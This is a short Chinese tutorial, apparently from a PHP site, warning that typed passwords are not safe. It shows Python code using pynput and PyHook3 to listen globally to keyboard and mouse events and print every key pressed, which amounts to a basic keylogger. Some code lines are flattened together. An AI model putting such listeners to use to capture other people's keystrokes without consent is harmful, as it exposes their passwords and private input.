在平常的工作和學習中幾乎每個人都會註冊一些平台,在PC端登陸的時候需要用鍵盤輸入對應的帳號和密碼,其中密碼通常都是暗文(如:******),但暗文真的就安全了嗎? 今天帶給大家兩個讓你瞬間「裸奔
」##1.1 安裝pynput #pip install pynput
1.2 #使用pynput
from pynput.keyboard import Key,Listener
Key:
#按下鍵時:
# 按下键时 def on_press(key): try: # 普通按键 print('按下键: {0} '.format(key.char)) except : # 特殊按键 print('按下键: {0} '.format(key))
#鬆開鍵時:
# 松开键时: def on_release(key): print('松开: {0} '.format(key)) # 可要可不要 if key == Key.esc: return False
Listener:
# 监听键盘按键 with Listener(on_press=on_press, on_release=on_release) as listener: listener.join()
注意:如果需要同时进行监听和控制操作,需要使用多线程
本範例只展示了pynput的鍵盤監聽模組,##pynput 還有鍵盤控制以及滑鼠監控功能,有興趣的夥伴可以看看官網:
https://pypi.org /project/pynput/#description
##PyHook3的安裝要相對複雜一些: #2.1.1 安裝swig.exe: 2.1.2 安裝Microsoft Visual C 14: ##所需空間比較大(4G左右),安裝套件直接安裝即可(若電腦上安裝的有vscode,vstudio等軟體則不需要安裝),本機已安裝vscode,這裡不再展示。 2.1.3 安裝 PyHook3: 失败:
#pip install PyHook3
2.2 使用PyHook3
import PyHook3 import pythoncom
def onMouseEvent(event): # 鼠标移动过滤 if (event.MessageName != "mouse move"): print(event.MessageName) return True
def onKeyboardEvent(event): # 返回按下的键 print(event.Key) return True
# 创建一个钩子管理器 hm = PyHook3.HookManager() # 监听键盘时间 hm.KeyDown = onKeyboardEvent # 键盘钩子 hm.HookKeyboard() # 监听鼠标事件 hm.MouseAll = onMouseEvent # 鼠标钩子 hm.HookMouse() # 循环监听 pythoncom.PumpMessages()
以上是收藏 | 不要再用陌生人的電腦了,這兩個Python庫可以讓你瞬間'裸奔”的詳細內容。更多資訊請關注PHP中文網其他相關文章!